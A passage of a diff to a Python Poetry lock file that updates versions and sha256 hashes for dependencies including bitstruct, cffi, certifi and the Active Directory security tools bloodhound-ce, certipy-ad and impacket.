"sha256:7bca7c212a703f396f2558c76a5f07adb7b48bed3a128510eec381bc3ab9c7f2"}, + {file = "bitstruct-8.22.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c2e78952b2cc04d52f2acee6757198fee374f39e4f64d432382be54834d5044a"}, + {file = "bitstruct-8.22.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b092f12bad0e900cc2fea3c0884b8c280370c7c4e9adde3fef46ea4686fe8f4"}, + {file = "bitstruct-8.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:15e60bae7714d6312105fbc3e18185cf6638a4366f011f5d0306ac3a768e8406"}, + {file = "bitstruct-8.22.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5891d506486915120a073802bc8b391a1840327fc781bece88173fcef69300dd"}, + {file = "bitstruct-8.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:68a7ed240b2448be339121a7b155c6a237460da236b6ba0c898861e156f7cd4b"}, + {file = "bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:21b94ba5210acada44d092170daf885777df2043c5c7b82a2b39e4a0b9a98349"}, + {file = "bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:e7d38a321a00120109ce165a651afb3662e51d5a13134716548b6c0fc7b66987"}, + {file = "bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:505d18acd7cb2408bcde4009babb07d671a9b07ae4f3221b32bb332565452c6f"}, + {file = "bitstruct-8.22.1-cp314-cp314t-win32.whl", hash = "sha256:4ca7d883594451d1a5066e4a17ed3858ab7f8e26e419085b9c283e2d4c45eb25"}, + {file = "bitstruct-8.22.1-cp314-cp314t-win_amd64.whl", hash = "sha256:a8227add6ff956e559d00442dc1ce23e31450d42eb5c15fa87e45b3a7f0fb79d"}, + {file = "bitstruct-8.22.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ca5dbad59125547c14f29220ebe8d1cb46fcb3b50fbf16fb31f6ac190790b738"}, + {file = "bitstruct-8.22.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ec0cc01d3130f3776f87752df69ed2da1b261c2c63ce3a2f3463958d445dd7e2"}, + {file = "bitstruct-8.22.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:62548cd0f5a9782e985aff83294ed0c2df656060680c2c9b6271061e8f2e6a62"}, + {file = "bitstruct-8.22.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8e0d396c8980e903ea7e0c6fd13b0a3185dd8376f3002f018cbdc9957d9b808"}, + {file = "bitstruct-8.22.1-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f69de99df37b8594f87c019de5236e14961c4f997928384e4bcd5f6a1d5dc116"}, + {file = "bitstruct-8.22.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:599b04940cf18b079f9849ec992e6a1d22e9bafff1473830df2e618f492d68b3"}, + {file = "bitstruct-8.22.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d45e46afea8f629f9ce55ae9183042f94e4e0fc98112828fc80bb3ea75b39b6d"}, + {file = "bitstruct-8.22.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:896789040a6f5c724fd6df5b7e6b9dfa6ef83327e87ff4bd410331b09a9e6221"}, + {file = "bitstruct-8.22.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:11049c556c3e6452798145214bccd9c7eb4f6843520e190528075d4293728553"}, + {file = "bitstruct-8.22.1-cp39-cp39-win32.whl", hash = "sha256:8482be49681568b0f5fa64b6953680cf6f3634c3f3316d7b4f513a52eca19338"}, + {file = "bitstruct-8.22.1-cp39-cp39-win_amd64.whl", hash = "sha256:ec187f5000104c9d7428556579618dd6182ec2ed8891bd547c0ac83d9f7e5154"}, + {file = "bitstruct-8.22.1-cp39-cp39-win_arm64.whl", hash = "sha256:df5284f0e52865d8a25db399331d047e570af5733881f99242b57ab793086b83"}, + {file = "bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808"}, ] [[package]] @@ -384,14 +450,14 @@ files = [ [[package]] name = "bloodhound-ce" -version = "1.8.0" +version = "1.9.1" description = "Python based ingestor for BloodHound Community Edition" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "bloodhound_ce-1.8.0-py3-none-any.whl", hash = "sha256:0d5f39c2ab157448313f6c0ea8afdcf081238682f445c81e065684395ba5484b"}, - {file = "bloodhound_ce-1.8.0.tar.gz", hash = "sha256:f663d6181e2a1ab8de9d57948011662e2a47880d8caca9b85369a7efaed13a70"}, + {file = "bloodhound_ce-1.9.1-py3-none-any.whl", hash = "sha256:bb3bd6fb67b9337c738d4168b4f712b0d5544bb543c7405cc27977e61f67bab6"}, + {file = "bloodhound_ce-1.9.1.tar.gz", hash = "sha256:083df3dc3ad998edcff8fb63fdd8f5b464aab5fdac8e05cc9b3b6520210f79ab"}, ] [package.dependencies] @@ -403,19 +469,19 @@ pycryptodome = "*" [[package]] name = "certifi" -version = "2025.1.31" +version = "2026.2.25" description = "Python package for providing Mozilla's CA Bundle." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" groups = ["main"] files = [ - {file = "certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe"}, - {file = "certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651"}, + {file = "certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa"}, + {file = "certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7"}, ] [[package]] name = "certipy-ad" -version = "5.0.3" +version = "5.0.4" description = "Active Directory Certificate Services enumeration and abuse" optional = false python-versions = ">=3.10" @@ -430,11 +496,10 @@ beautifulsoup4 = ">=4.13.4,<4.14.0" cryptography = ">=42.0.8,<42.1.0" dnspython = ">=2.7.0,<2.8.0" httpx = ">=0.28.1,<0.29.0" -impacket = ">=0.12.0" +impacket = ">=0.13.0" ldap3 = ">=2.9.1,<2.10.0" pyasn1 = ">=0.6.1,<0.7.0" pycryptodome = ">=3.22.0,<3.23.0" -pyopenssl = ">=24.0.0,<24.1.0" requests = ">=2.32.3,<2.33.0" [package.extras] @@ -444,200 +509,255 @@ bloodhound = ["neo4j (>=5.28.1,<5.29.0)"] type = "git" url = "https://github.com/Pennyw0rth/Certipy" reference = "HEAD" -resolved_reference = "017dab8ff4d4447976b2a0c2b2203fd61b888681" +resolved_reference = "49a4aa6b17d2246491a81f89b0d7d74b732c66d4" [[package]] name = "cffi" -version = "1.17.1" +version = "2.0.0" description = "Foreign Function Interface for Python calling C code." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] -files = [ - {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, - {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, - {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, - {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, - {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, - {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, - {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, - {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, - {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, - {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, - {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, - {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, - {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, - {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, - {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, - {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, - {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, - {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, - {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, - {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, - {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, - {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, - {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, - {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, - {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, - {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, - {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, - {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, - {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, - {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, - {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, - {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, - {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, - {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, - {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, - {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, - {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, +markers = "platform_python_implementation != \"PyPy\"" +files = [ + {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, + {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, + {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, + {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, + {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, + {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, + {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, + {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, + {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, + {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, + {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, + {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, + {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, + {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, + {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, + {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, + {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, + {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, + 